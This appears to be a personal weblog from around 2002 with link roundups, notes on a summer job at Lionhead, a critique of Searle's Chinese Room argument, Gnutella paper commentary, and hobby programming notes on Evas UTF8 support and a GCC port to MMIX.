  (define small-ints '(1 2 3 4 5 6 7 8 9 10))
  
  (define sum (lambda (x)
  	       (let ((a (choose small-ints))
  		     (b (choose small-ints)))
  		  (if (= (+ a b) x) (cons a b) (fail)))))
  
  (display (sum 19))(newline)
  
  
    
    
  This is the entry I forgo...
    
  This is the entry I forgot to upload last weekend
  
  Since I'm at home for the weekend you get a links post with some of the
  stuff over the past couple of weeks. I left my laptop in Guildford so I
  don't have all the bookmarks I wanted, but here are some:
  
  
     
  Cracking
  the 500 Language Problem
     
  The
  Mercury News runs the best mainstream story of Gene's death
     
  Slides
  from a talk about SBCL a Common Lisp impl
     
  The Tao of
  Programming. (old, and you may have read it all from fortune
  already, but it came up again recently)
     
  The Online
  Books Page. Very cool and often updated. Older links seem to break so
  get em while they're hot
     
  Advanced Linux
  Programming. I doubt there's much in here that readers don't already
  know. I'll skim it when I'm back at work
     
  August 2009: How
  Google beat Amazon and EBay to the Semantic Web. Read it, you never
  know, SemWeb might actually happen
     
  FoxNews:
  Raving Lunacy. Shock: A US mainstream news source runs decent story
     
  Google H4x0r.
  Yes, Google really does have a language mode called Hacker (thou Kiddie might be a better name for
  it)
     
  Introductions of
  Asynchronous Logic
  
    
    
  Lack of Links
    
  Well, (setting the scene), I'm sitting in a small hotel room in
  Guildford on a very comfortable red seat with my laptop on my lap.
  
  The aforementioned red chair looks a little out of place in the room
  because, although you could swing a cat in it, it would hit it's head on
  all the walls. Thus in a room where space is at a premium it seems a
  little wasteful to put this seat in it.
  
  But it is a comfy seat. Even compared to the seats at work it's pretty
  good and that's saying something because the seats at work are special
  geek seats which cost about £500 and have more nobs and levers than some
  aircraft flight decks on the underside. (The underside of the chair, not
  the flight decks).
  
  I'm also listening to music (I should have mentioned that before). It's
  music that I found lying about the network at work. I love listening
  through other people's music sometimes because you can pick out some
  real gems. Think about the number of different CDs in an average record
  shop and how few of those you've ever heard. Collaborative filtering is
  the only way to find any good non-mainstream stuff since radio stations
  are hopeless. (and the RIAA shutdown all the Internet radio stations).
  
  At the moment the track is The Strokes - Last Nite (sic). Now The
  Strokes aren't really very non-mainstream but I don't listen to enough
  of them anyway.
  
  However, the last track was cool and by a artist/group called Royksopp,
  who I've never heard of and that's the fun of it. (There should be two
  dots above the o in that name, but I'm not feeling brave enough to put
  a non-Latin1 code point in tonight).
  
  The night life (for me) is pretty dire here, though. I'm the only person
  of my age group living in Guildford and working at Lionhead so I can't
  really go out. (I not really the sort to go out alone and try to hook up
  with someone). Which is a shame because Guildford is a University town
  and looks like having a great night life.
  
  It's not too bad though. I don't get in from work until about 6:45 and
  by the time I've gone out to fetch dinner and watched some TV it's about
  8:00, and I've enough to read. 
  
  And I'm coming home for the weekend. Catching the train at 5:45 and
  getting in to Cheltenham at 8:30 where father is driving me to a party
   Have another party on Sunday and I catch the train again at 6:45
  Monday morning for work. No rest for the wicked!
  
  Then I've another two weeks before heading home. Where I have to pick out
  book prizes, go see people at the Playhouse, get exam results and then
  fly off to Korea.
  
  (The school prizes are always in the form of money off books at the book
  shop in Gloucester. You have to go in and order the books (paying any
  extra) and then you have to wait 6 weeks to actually get the book at the
  prize evening. So the trick is to find books that you want - but don't
  want enough to be bothered about not actually having them for 6 weeks.
  And they've got to be non-fiction books really.)
  
  And this year I've got to pick out three (Maths, Biology and Service to
  the School). Though the books don't have to be related to the subject.
  
  
  
  Since I don't have an internet connection at the hotel I tend to read stuff at work and save any longer stuff on my laptop for later reading. Thus leads to a lack of good links I'm afraid. Do a google search for Markus Kahn though. His homepage at cam.ac.uk is well worth reading.
  
  I did get that 802.11b connection going, but the access point isn't configured to forward packets unfortunately. The SNMP private community has been changed and it's probably a little rude to reconfigure someone else's AP anyway.
  
  List Archives
  
  Assertion: mailing lists which are archived should put the URL for a given message in its header
  
  If the above where true I could point you at a neat little post on ll1. But it isn't and I cannot look up the URL so you'll have to do without
  
  Notes to self
  
  TBL says that a quantum computer can be implimented on a UTM and the quantum bit is just a speed thing. However, there are quantum effects which are non-deterministic and so cannot be done on a UTM.
  
  TBL also says I should read up on Goldstein randomness. (not sure about the spelling there).
    
    
  Eek. Been a long time sin...
    
  Eek. Been a long time since I've updated this site - been pretty busy. Also, I've forgotton my power converter for my laptop so this entry cannot be too long as I'm draining the last of my laptop batteries
  
  I've switched hotels and the room is a lot smaller this time. But it's closer to work and there's actaully an 802.11b network here. I don't have the right programs installed (will be apt-getting tomorrow at work) but someone is broadcasting 81 byte packets which seem to be ethernet wrapped in some header that ethereal doesn't understand. They all have the string EDWIN in them as well, for some reason
  
  Since I don't have connectivity outside work I haven't really been keeping up with stuff so you'll all have to dig up your own interresting links 
  
  (P.S. I still don't have ispell installed - I keep forgetting)
  
  
    
    
  Well, I dug out the entry...
    
  Well, I dug out the entry from the html of IV and patched it in. I should be able to upload all this tomorrow at work. I need to install the ispell dictionary though. Unfortunately, I didn't copy my user dictionary off my desktop before I went away - rats.
  
  Of course, I can't talk about what I'm doing at work - but it's very interresting. I need to do more thinking tonight before prototyping it tomorrow.
  
    
    
  I'm packing at the moment...
    
  I'm packing at the moment ready for a move to Lionhead for the summer. (Warning: rubbish, Flash web site)
  
  Old news now, but Cannabis has been down graded to a class C drug. Basically it's now less illegal to possess it, but more so to sell it. I actually think this is a bad thing. Predictably, many are saying the sky will fall because of all the people smoking pot (as they, themselves, smoke their cigars and sip their G&Ts). But this will lead to more money going into the pockets of criminals whose best interests are to try and get people addicted to dangerous drugs (crack, heroine etc). This is going to lead to a backlash and put sensible drugs policy back years.
  
  Zooko is back!
  
  A couple of online books I intend to read: Bitter Java and ORA: OCaml [via LtU]
  
  Shorter, interesting reads: OpenBSD Honeypot [via /.] and How Modern Chemicals May Be Changing Human Biology
  
    
    
  Buffer Overflow in PGP7Ne...
    
  Buffer Overflow in PGP7
  
  New M$ DRM patent
  
  NLP Tricks
  
  When it rains - it pours. Seems I'm going to be a lot more busy this holiday that I had planned. Connectivity will be patchy at best over the comming days.
  
    
    
  Jon Searle: I Married a Computer
    
  Yesterday I made the comment that Jon Searle's chapter in "Are We Spiritual Machines?" was rubbish. Here's why:
  
  Summary
  
  Searle uses his old Chinese Room argument (and the same thing in a number of different guises). It's no better an argument now than it has ever been
  All of Searle's differences between computers and humans can be shown to have no actual fundamental point of distinction
  I need to know if quantum computers can be simulated on a UTM
  
  
  I'm going to run a commentary on Searle's chapter and, in doing this, I'm leaving a lot out of course. You are welcome to read the chapter in full to get the context for these quotes. I purposefully avoided reading Kurzweil's reply.
  
  Here is the difference: Kasparov was consciously looking at a chessboard, studying the position and trying to figure out his next move. He was also planning his overall strategy and no doubt having peripheral thoughts about earlier matches, the significance of victory and defeat, etc. We can reasonably suppose he had all sorts of unconscious thoughts along the same lines.
  
  From that I would like to continue a little: Kasparov was studying the consequences of a set of possible moves. His subconscious has filtered most of the illegal moves before his conscious even considers them. The impressive pattern matching ability of his brain is making links with previous games and recalling which moves proved advantageous in those situations.
  
  Does anything think that is unreasonable? Where is the magical factor in that?
  
  The computer has a bunch of meaningless symbols that the programmers use to represent the positions of the pieces on the board. It has a bunch of equally meaningless symbols that the programmers use to represent options for possible moves. The computer does not know that the symbols represent chess pieces and chess moves, because it does not know anything. As far as the computer is concerned, the symbols could be used to represent baseball plays or dance steps or numbers or nothing at all.
  
  Does Searle think that my visual cortex is aware of what chess is when it highlights edges and surfaces? The pattern matching systems of the brain are very general (try staring at clouds or even a blank wall for a while) and certainly aren't designed for processing chess positions. Why is it that symbol processing deserves such contempt?
  
  I'm sure Searle would argue that there is a conscious kernel of the brain which is somehow `above' the mundane tasks of the brain. So is a child, playing for the first time with a rule book, not really playing chess? The child is doing the same as the computer is, looking at the rules for valid configurations; judging those configurations and then moving. At what point does the child actually start to really play chess?
  
  Let us call it the Chess Room Argument. Imagine that a man who does not know how to play chess is locked inside a room, and there he is given a set of, to him, meaningless symbols. Unknown to him, these represent positions on a chessboard. He looks up in a book what he is supposed to do, and he passes back more meaningless symbols. We can suppose that if the rule book, i.e., the program, is skillfully written, he will win chess games. People outside the room will say, "This man understands chess, and in fact he is a good chess player because he wins." They will be totally mistaken. The man understands nothing of chess; he is just a computer. And the point of the parable is this: If the man does not understand chess on the basis of running the chess-playing program, neither does any other computer solely on that basis. 
  
  This is the Chinese Room argument (for which, Searle is best known). Usually the man in the room is processing Chinese symbols.
  
  Again, the fallacy in this argument occurs in two places. Firstly, no neuron in my brain understands anything. If I filled a Chess Room with 1000 people, handling the task as a team, why do you expect any of them to understand it? The understanding is an emergent property of the actions of all the people and the records they are making.
  
  The second problem is very similar to the one I outlined above. I'm sure this poor man will quickly become quite fast at processing the rules if he spends any reasonable length of time doing it. At some point he may recognise that the data he is handing out look like 2d coordinates and he could draw a grid inside his box to help him keep track with symbols for the pieces. With no previous knowledge of chess he could become quite adapt as his brain starts recognising patterns and caching the results so he doesn't repeat the same calculations. At what point is he really playing chess then?
  
  Imagine that I, who do not know Chinese, am locked in a room with a computer program for answering written questions, put to me in Chinese, by providing Chinese symbols as answers. If properly programmed I will provide answers indistinguishable from those of native Chinese speakers, but I still do not understand Chinese. And if I don't, neither does any other computer solely on the basis of carrying out the program.
  
  Reread the reply to the last quote. The faults are the same.
  
  Kurzweil assures us that Deep Blue was actually thinking. Indeed he suggests that it was doing more thinking than Kasparov. But what was it thinking about? Certainly not about chess, because it had no way of knowing that these symbols represent chess positions. Was it perhaps thinking about numbers? Even that is not true, because it had no way of knowing that the symbols assigned represented numerical values. The symbols in the computer mean nothing at all to the computer. They mean something to us because we have built and programmed the computer so that it can manipulate symbols in a way that is meaningful to us.
  
  I'm left wondering what, exactly, chess pieces mean to us that makes Deep Blue so fundamentally different. If I were to rename and redesign the pieces (without changing the rules) I'm still playing chess. Now if I number them all and replace them with bits of paper, I have to remember what the numbers mean, but I'm still playing chess. Now if I get rid of the board and imagine all the numbers on a grid in my head, I'm still playing chess. If I don't imagine a grid, but remember the positions also as numbers, I'm still playing chess (but I don't get to use the pattern matching systems of my brain). What's so different between myself and the computer now?
  
  He confuses the computer simulation of a phenomenon with a duplication or re-creation of that phenomenon. This comes out most obviously in the case of consciousness. Anybody who is seriously considering having his "program and database" downloaded onto some hardware ought to wonder whether or not the resulting hardware is going to be conscious.
  (in this, Searle is talking about downloading yourself into a computer by mapping and simulating your brain - Diaspora style)
  
  
  Exactly what is so magical about neurons? Most animals have less advanced myelin sheaths than humans do, and so have slower moving nerve impulses. This small change doesn't disqualify them from Searle's elite club.
  
  It's unfortunate that all higher animals share the same basic nerve structure, however, as it isn't possible to point to another example. But we have a pretty good understanding of how nerves work, so I can pick a single neuron and replaced it with a device that records incoming impulses and can trigger outgoing impulses. This device communicates via radio to a computer which controls it and simulates the neuron I replaced. (this is just in theory, I'm not saying I could do this today).
  
  If I continued to replace neuron's with perfect simulations of them I doubt even Searle would suggest that I'm altering anything about my brain functionally. So either I can replace my whole brain that way and simulate it all in the computer (at which point the actual neuron replacing devices can be discarded) or he's suggesting that there is something so special about neurons that they cannot even theoretically be simulated.
  
  Actual human brains cause consciousness by a series of specific neurobiological processes in the brain. What the computer does is a simulation of these processes, a symbolic model of the processes. But the computer simulation of brain processes that produce consciousness stands to real consciousness as the computer simulation of the stomach processes that produce digestion stands to real digestion. You do not cause digestion by doing a computer simulation of digestion. Nobody thinks that if we had the perfect computer simulation running on the computer, we could stuff a pizza into the computer and it would thereby digest it. It is the same mistake to suppose that when a computer simulates the processes of a conscious brain it is thereby conscious.
  
  I'm afraid I'm not even going to dignify that analogy with a reply. It's just absurd. Unfortunately for Searle, the absurdity is less hidden in this case than in his arguments above.
  
  "This thesis says that all problems that a human being can solve can be reduced to a set of algorithms, supporting the idea that machine intelligence and human intelligence are essentially equivalent."
  
  That definition is simply wrong. The actual thesis comes in different formulations (Church's is different from Turing's, for example), but the basic idea is that any problem that has an algorithmic solution can be solved on a Turing machine, a machine that manipulates only two kinds of symbols, the famous zeroes and ones.
  
  (The part in italics is Searle quoting Kurzweil)
  
  In what way is my neural net fundamentally different to a computer? It may well have some impressive emergent features but if you are suggesting (again) that neurons are fundamentally different from a UTM? At this people people usually start muttering the word "quantum" as an answer. Firstly, we have quantum computers anyway and, secondly, I'm pretty sure that a UTM can simulate a quantum computer and that the quantum aspect is just a matter of speed. (can anyone confirm/deny this?).
  
  The rest of the chapter is just Searle sniping at Kurzweil and he doesn't put forward anything new.
  
  The conclusion is at the top in the Summary box really. I won't repeat it here.
  
    
    
  Joey has a great tribute to Gene
    
  Joey has a great tribute to Gene. I actually have no recolection of signing Joey's book, but I'm glad that I've met him unknowingly! 
  
  Crumbs - I'm playing a part in Aaron's dreams
  
  LiveJournal has become the latest RSS agent. You can now add RSS feeds as friends (for example theregister).
  
  "This is nothing. In a few years, kids are going to be demanding septal electrodes." Timothy Leary. Hasn't happened yet though Tim. The links at the bottom of the page are highly worth a read.
  
  Have been reading Jon Searle's chapter in "Are We Spiritual Machines?". It's well written, but just .. wrong. I'm sorry, but his arguments are just rubbish.
  
  (quick warning, kurzweilai.net is a pile of crap in terms of presentation, but the content is good)
  
    
    
  It seems that Gene shot h...
    
  It seems that Gene shot himself
  
  Dubya losing the benefit of the doubt from the National Post (Canadian) [via Keith]. He still has a 70% approval rating though.
  
  Notes on Fitz. Still vapourware at the moment but with people like Raph involved, it could be quite something.
  
  The detailed designs of the MS TCP/IP stack [via coderman]. It has a little market-droid speak in it at times ("strategic enterprise network transport for its platforms" <- bullshit alert), but it has enough real content to be worth a skim. A recent traffic sniff of a root DNS server showed that Dynamic DNS requests to alter the root (from MS's screwed up implimentation) made up a significant fraction of the traffic.
  
  Pretty graphs. It's sites like these that make 56K users feel it.
  
  The person with the file:///dev/null turns out to be Ian Hill:
  
  In ELinks you can
  set a fixed referer in the options menu.  In fact it tries its best to stop
  you sending *real* referers by flagging that option as "Default - Insecure"
  It also lets you have no Referer: at all!.
  
  ELinks is a modified
  version of Links which does SSL (apparently, I can't test it though as it
  wont use a proxy).
  
  I'm pretty sure that standard Links does SSL too, but it doesn't have the Referer thing. Finially a brower which actually follows that obscure bit of the RFC
  
  Paul Graham assures me (via email) that stuff is still happening to Arc (his new Lisp). Unfortunately the code seems to be non-public at the moment.
  
  Channel 4 haven't been showing reruns of Ally McBeal in the afternoons this week so I'm going to have to watch the deaded new series tonight.
  
    
    
  Wired has a piece on Gene's death...
    
  Wired has a piece on Gene's death. They suggest it's suicide too.
  
  I pulled my comment that I suspected suicide when the Washington Post text came out and the family said it was an accident. Maybe the family think there's something shameful in it? I'm saddened.
  
  Salvia - not for the conservatives in our readership.
  
  Zooko's mail is still mounting up (165 messages now) and the logs are filled with the retries. I've made Zooko a local on metis now - I'll send him the mbox when he's alive again. Unfortunately, since qmail has queued the other 165 as remote it won't deliver them locally. I guess I could point zooko.com to metis in /etc/hosts but I don't want to play about like that. Hopefully Zooko is home soon.
  
  Airhook looks very cool (read the page for the links at least). It's a TCP replacement protocol with a number of advantages and it can be used as a library using UDP.
  
  Are capital letters in URLs considered harmful? I have a couple of failed attempts to access the Hitch Hikers text with the wrong capitalisation. Do some things assume lower case?
  
  A quick congrats to the person with a referer of file:///dev/null  (email me!). You are going to send the deep-link protection sites nuts with that!. Although the HTTP 1.1 spec says browsers SHOULD  provide a way to disable sending Referer headers, I don't know of any that do. Personally I use privoxy which sets the Referer header to match the host name (for crappy anti-deep-link sites).
  
  I guess that makes me hypocritical since I love reading the weird searches that turn up IV!
  
    
    
  MMIX
    
  Zooko has been away for ages and his mail server is down. Since IV is the backup MX the queue has been filling for a while and it's now at 101 messages and counting. I've just upped the queue lifetime to 2 weeks to make sure they don't die, but still no sign of Zooko
  
  Full book: "Are We Spiritual Machines?" posted by Kurzweil. Also available in dead-tree format.
  
  An old (1993) talk by Vernor Vinge about the Infosingularity.
  
  
  
  When Knuth wrote the Art of Computer Programming he used a fictional assembly language to do the examples in, called MIX. Well, MMIX - the 64-bit updated version of MIX - has been around for a while. You can get the documentation here
  
  Well, someone has ported GCC to MMIX and it works pretty well. Grab the latest GCC 3.1 and binutils 2.12.1 and build gcc with the --target=mmix option to configure and it all goes swimmingly.
  
  Not sure why you would want to do this, but it works 
  
  # 1 "test.c"
  ! mmixal:= 8H LOC Data_Section
  	.text ! mmixal:= 9H LOC 8B
  	.p2align 2
  	LOC @+(4-@)&3
  	.global main
  main	IS @
  	SUBU $254,$254,8
  	STOU $253,$254,0
  	ADDU $253,$254,8
  	LDOU $253,$254,0
  	INCL $254,8
  	POP 0,0
  
  	.data ! mmixal:= 8H LOC 9B
  	
  
  Problem class 50
  
  I think I need some simple project to code on. Either helping with an existing one or something nice and short term that I can see the end of. (or someone could give me a real job - heh, yea right).
  
  All my ideas are far too far out and I keep cycling. At one point I'm thinking that I'm nuts and will never manage any of what I'm planning so I cut the plan down hugely. Then I start thinking and designing and pretty soon I'm right back to where I started, by a different path.
  
  This is getting really annoying because, by the time I'm at to the `cut it all back' point I'm planning a Turing-capable AI.
  
  Landscape (there is a page for Landscape in the sitetree - but it sucks) mearly involves:
  
  Implimenting a dynamically typed, safe language which is incrementally compiled at almost every key stroke with a GUI which highlights errors at you type them and can construct proofs of the code, on-the-fly
  Building a virtual machine for the language to target which maps the disk as a huge single-level store (SLS) of persistant objects which have an `in memory' format (EROS style).
  (this VM (which is a MMIX machine, by the way) is capable of running programs backwards for debugging with the aide of a store journal. This, of course, ties in perfectly with the language GUI)
  Ripping out everything, to the level of replacing the consoles etc, with code written for the VM, which all runs as a single process (it's a safe-language, remember?) and can access the SLS
  The SLS contains Xanadu style, super linked objects of everything and code is just another object. Basically a fully object orientated system where, say, an email object would have From links to a Person object, which would have links to all the emails from and to that person, thier PGP key etc
  
  
  And that's a sane idea by my standards!
  
  Oh crap
  
    
    
  Gene Kan has died. I feel...
    
  Gene Kan has died. I feel a little ashamed for missing it, but everyone seems to have. I'm sorry Gene.
  
  [link1] [link2] [link3] [link4] [link5]
  
  Still no solid word on how such a young and healthy guy passed away.
  
  Update: added a fifth link, which says it was an accident
  
    
    
  Evas2
    
  Quoted in another New Scientist article. This one doesn't link to IV unfortunately.
  
  Very good text on the up and comming 64-bit chips: POWER4 and Itanium2. (the author discounts Hammer, which is a shame because I like it from what I've heard)
  
  Seth Schoen has more notes on Palladium. [via Wes]
  
  Seems the Earth will expire by 2050. I wonder if we hit info-singularity before we all die out?
  
  RAVE Act: Reducing Americans' Vulnerability to Ecstasy. Sometimes I plain just don't get the USA. I guess a whole multitude of factors just increases the wanker/square meter count there.
  
  
  
  Seems that all the new Evas work is going into evas2, which rasterman pointed me to. My UTF8 support is already in there . (and it means I don't have to patch Imlib now)
  
  Evas2 seems to be a lot cleaner code but it's not as mature at the moment. For one, deleted objects don't actually disappear, which makes for some interesting effects to be sure. The API naming is a lot cleaner thou, it now has consistent noun-verb style everywhere.
  
  Raster asked why his Japanese ttfs didn't work with UTF8. It seems that they map their characters into the Latin-1 region rather than their Unicode regions. I have no idea why. I suppose there must be some old encoding which they are using for when everything was ASCII.
  
  JWZ's calendar
  
  JWZ was asking how to fix the sidebar in his calendar (read the LJ post for the full specs). I suggested that he could hide CSS from NS4 and IE3 by putting it in a @media screen block - which works really nicely. 
  
  Except that in order for NS4 to render it correctly you have to put the fixed sidebar in a table. This breaks konqueror unfortunately, which doesn't render the sidebar at all. Damm NS4
    
    
  IOI
    
  Janis Ian on music copyright. Nope, I've never heard of her either but it's a good text (even if it is preaching the choir here).
  
  Sunshine Project on biological weapons.
  
  IRC chat with Ray Kurzweil and Venor Vinge.
  
  
  
  I have dates for flying to S. Korea now (16th and 25th of August) so I ambled down to my GP today for any injections that I need. Seems I only need Hep A and the needle wasn't too bad. (I don't like needles).
  
  (yes, Ian (if you read this) that means I can't make your party - sorry!)
  
  Also Lionhead, the sponsors of the UK IOI team, have offered me a job for the summer. I kindof wanted to stay around this year, but since my other job prospects are somewhat, erm, crap, I might take it up.
  
  TrueType fonts
  
  Added UTF8 support to Evas today. (Evas is the Enlightenment canvas). Unfortunately the ALPHA_SOFTWARE backend uses Imlib to render text, so I have to add UTF8 support to that too.
  
  Thankfully, the M$ core fonts (one of the few good things ever to come out of That Company) have a Unicode table in them. Wrote ttfdump to display the code points in a given font and some of the M$ fonts have a scattering of U2200 glyphs (the maths symbols). Unfortunately, Wolfram's maths fonts put all the glyphs in the private use area, prat.
  
    
    
  Searching Gnutella networks
    
  Bram flames Ted Nelson
  
  Emacs mode for M$ Word
  
  
  
  Will Knight pointed me to this paper on searching Gnutella networks. Some commentry:
  
  The motivation for
  this metric is that in P2P systems, the most notable overhead tends to be the
  processing loadthat the network imposes on each participant.
  
  The processing load is their most notable overhead? They must have one
  hell of a bandwidth or be really bad coders.
  
  If a PC has to handle many network interrupts when it joins
  the P2P network, the user will be forced to take the PC off the P2P network
  to get "real" work done.
  
  Because of interrupt load? I'm wondering if this paper has been translated
  from another language. Once again, the limiting factor is bandwidth and
  certainly not interrupts.
  
  Other than that odd misunderstanding the rest of the paper is very good.
  Some points:
  
  
  Walkers don't find uncommon documents
  
  Unstructured networks fail to find uncommon documents generally, but
  walkers are very bad at it. Consider a million node network where a document
  only exists on one node. With 64 walkers, state keeping and an average of 1
  second for a hop, you are looking at over 4 hours search time.
  
  Not to mention that the suggested `talk back' limit of once per 4 hops
  would generate 16 packets a second to the searcher; enough to take up a
  notable chunk of a modem's bandwidth.
  
  Reason why random placements are better
  
  The paper also suggests random replication without considering why. I would
  hazard a guess of the following:
  
  Random walkers are going to tend to end up at the well connected nodes in a
  power-law network and hang around there. Thus path replication will hit the
  high order nodes which random replication (as they define it) will tend to hitmore low order nodes. I would suspect that measuring the number of copies in
  the network would show that random replication gives the highest number.
  
  Random networks don't work
  
  The paper also suggests that networks should be random. This is very nice but
  not all nodes are created equal and those on a T1 line can handle more
  messages per second than modem users. This bandwidth inequality (and the
  distribution of bandwidth) will force a power-law network to some extent.
  
  It's not anonymous
  
  Well documented, but I'm just pointing it out.
    
    
  Greedy people scheme:limi...
    
  Greedy people scheme:
  
  limit freedoms for profit.
  
  Resistance prepares.
  
  Orwell on the decay of the English language. Still relevant, if not more so.
  
  MI5: "Civil liberties are a Communist front" (1951)
  
  Starting reading through JWZ's rants last night while waiting for CSI to come on. About 2/3 of the way down now 
  
    
    
  EuroPython presentations ...
    
  EuroPython presentations [via Lambda]
  
  Note on Coding Theory [via Raph]
  
    
    
  e-lang has a great thread...
    
  e-lang has a great thread on TCPA/Palladium. See, for example, this message.
  
  I would quite like to switch to using EROS but I'm too lazy really. I have a spare 20GB IDE drive bolted into my case which isn't even powered at the moment. Maybe I should download it and give it a go.
  
  
    
    
  Building EROS
    
  Ryan Lacky has written a long post about TCPA to the cypherpunks list. Ryan:
  This feels rather unfulfilling. I even avoided posting it to other lists so as to limit the spread of crack and confine said crack to its standard resting place.